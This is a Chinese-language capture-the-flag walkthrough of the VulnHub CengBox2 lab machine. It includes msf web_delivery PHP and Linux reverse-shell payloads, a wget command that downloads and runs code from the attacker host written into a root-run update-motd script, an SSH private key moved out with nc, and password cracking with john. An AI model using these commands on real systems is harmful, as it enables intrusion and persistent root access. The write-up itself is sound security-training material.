VulnHub CengBox2靶机渗透
本文首发于微信公众号：VulnHub CengBox2靶机渗透，未经授权，禁止转载。
难度评级：☆☆☆☆官网地址：https://download.vulnhub.com/cengbox/CengBox2.ova天翼云盘：https://cloud.189.cn/t/nq6r6jQVRZBz百度网盘：https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取码：gt6g官网简介：Ceng Company似乎正在维护，但仍可能运行着某些业务渗透目标：获取普通用户以及root用户权限本机地址：192.168.110.27靶机地址：192.168.110.30, 192.168.110.32
信息收集
老规矩，还是nmap开路。
nmap 192.168.110.0/24
扫描结果显示共开启了3个端口，分别运行着FTP、SSH和HTTP服务。一般来说，漏洞出现在HTTP服务的可能性最大，首先看看网站有什么敏感信息。
显示网站正在维护，源码中也没有提供任何有用的信息。那么就需要使用dirb扫描网页目录了。
dirb 192.168.110.30
只扫到了两个页面，index.html很明显是刚才访问的主页，而server-status是不可能有权限访问的，也就是说，dirb没有扫出有用信息。
既然80端口找不到突破点，那么看看FTP服务可不可以匿名登录。
ftp 192.168.110.30
可以匿名登录，查看一下ftp目录下有什么敏感文件。
ls 
有一个名为note.txt的文件，不管三七二十一，先下载下来再说。
get note.txt
下载完成，查看文件内容。
文件内容提示Aaron用默认密码初始化了Kevin的账号，并且把站点转移到了ceng-company.vm域下。猜测通过域名和IP访问网站的相应结果不同。
修改hosts文件，把ceng-company.vm定向到192.168.110.30。
sudo vim /etc/hosts
接下来使用浏览器访问ceng-company.vm看看是否有不同的返回结果。
很遗憾，还是之前的页面。再次使用dirb扫描看看。
依然没有有用的信息，不过既然靶机作者给出了提示，那么突破点就应该在网页上。
考虑到ceng-company.vm是一级域名，而绝大多数网站都是通过二级域名访问的，例如www.sogou.com、blog.csdn.net等。因此考虑在ceng-company.vm前加上前缀，组成二级域名，看网站是否有不同的响应。
vim /etc/hosts
这里添加了www、bbs、login、admin和blog这几个常见的前缀。经过测试，admin.ceng-company.vm会显示禁止访问，而其他二级域名则显示与ceng-company.vm一样的结果。
admin.ceng-company.vm一定有猫腻，再次使用dirb扫描。
dirb http://admin.ceng-company.vm
这次的结果更惨，只扫到一个页面。虽然没有扫描出什么结果，但admin.ceng-company一定是靶机的突破口，应该是dirb默认的字典不够大才无法扫描到有用的结果。
结合以前使用dirbuster需要一个小时才能扫描完成的经历，将默认字典换成dirbuster的字典再次尝试，由于dirbuster的自带的字典过于庞大，需要使用-w参数才能正常使用。
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w功夫不负有心人，经过漫长的等待，终于发现了一个可以访问的目录。
网页端查看该目录，发现是一个CMS。
点击网页的所有链接发现没有有用的信息后，尝试访问login页面。
由于note.txt中给出了提示，Kevin的账号是使用默认密码初始化的，尝试E-mail为[email protected]，密码为admin登录。
登录成功后网页又跳转到初始页面，那么就试试admin页面。
查看页面内容后发现Content -> File Manager可以上传文件。
通过这个页面应该可以上传PHP木马，接下来需要配合msf等工具生成PHP木马，并获取靶机的远程shell。
漏洞利用
首先需要使用msf生成PHP木马。
msfconsoleuse multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun
这几条命令将会生成shell命令，复制eval部分内容保存成php脚本文件，然后上传到靶机上。
显示上传成功，但是在网页端并没有查看到shell.sh，可能被服务器过滤了。接下来尝试上传到tmp目录。
上传成功，访问admin.ceng-company.vm/gila/tmp/shell.php。
显示禁止访问，这应该与.htaccess文件有关，打开.htaccess，重命名为.htaccess.bak。
闯大祸了，修改文件名之后所有的页面都不可访问，这下彻底没有办法了。由于没有对靶机做备份，需要重新导入ova文件，靶机的IP更新为192.168.110.32。
这里的原因是删除了根目录下的.htaccess，本来只需要删除tmp下的.htaccess文件即可。
将其重命名为.htaccess.bak。
然后再访问admin.ceng-company.vm/gila/tmp/shell.php。
msf成功获取靶机shell。
sessions l
sessions -i 1shell
将不好用的shell改为bash。
whereis python
系统中安装了python2.7和python3.5。
python3.5 -c 'import pty; pty.spawn("/bin/bash")'
权限提升
切换到家目录查看有哪些用户。
cd /homedir
其中无法进入mitnick目录，可以进入swartz目录。
查看当前目录下有没有可以利用的文件。
ls -l
查看文件内容。
cat runphp.sh
该文件的功能为交互式运行php，查看是否可以以swartz权限执行该脚本。
sudo -l
果然，是可以免密码以swartz权限执行runphp.sh的。
sudo -u swartz ./runphp.sh
需要注意参数，./runphp.sh和/home/swartz/runphp.sh都可以，但是不能直接使用文件名，否则还是需要输入密码。
接下来使用交互式php获取swartz的shell。
pcntl_exec('/bin/bash');
再次尝试进入mitnick家目录。
成功进入，查看该目录下有无提示。
ls -la
有一个名为user.txt的文件，但是没有任何权限，很明显，这是在提示需要提权到mitnick用户才能进入下一步。
查找一下有什么文件可以以mitnick或root权限运行。
sudo -l
很遗憾，需要密码。这时候注意到mitnick家目录下有.ssh文件夹，进入文件夹查看。
查看id_rsa。
接下来尝试使用John the Rapper暴力破解密码。
nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key
将mitnick.key转换成john可识别的文件。
/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john
使用John the Rapper暴力破解。
locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john
几秒钟就将密码爆破出来了。接着使用mitnick.key登录靶机。
ssh -i mitnick.key [email protected]
无法登录，原因是mitnick.key权限为644，需要改成600才能登录。
chmod 600 mitnick.keyssh -i mitnick.key [email protected]
查看user.txt
cat user.txt
第一个flag已经拿到。现在需要提权到root，首先查找有哪些可以利用的文件。
find / -type f -perm -g+rwx 2>/dev/null
update-motd.d文件夹下的脚本会在用户通过SSH登录时由root运行，主要的作用是在登录时显示消息。既然有写权限，那么进行反弹shell。
使用msf生成反弹shell脚本。
use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun
执行之后将会生成一个wget命令。
将该命令写进脚本并设置可执行权限。
echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
chmod 777 rootShell.sh
最后将rootShell.sh写进00-header。
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header
注销SSH会话，重新连接。
exitssh -i mitnick.key [email protected]
此时msf已经成功获取shell。
sessions -lsessions -i 1
检查权限，切换成bash。
idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'
查找flag。
cd /rootlscat root.txt
至此，对靶机的渗透已经全部完成。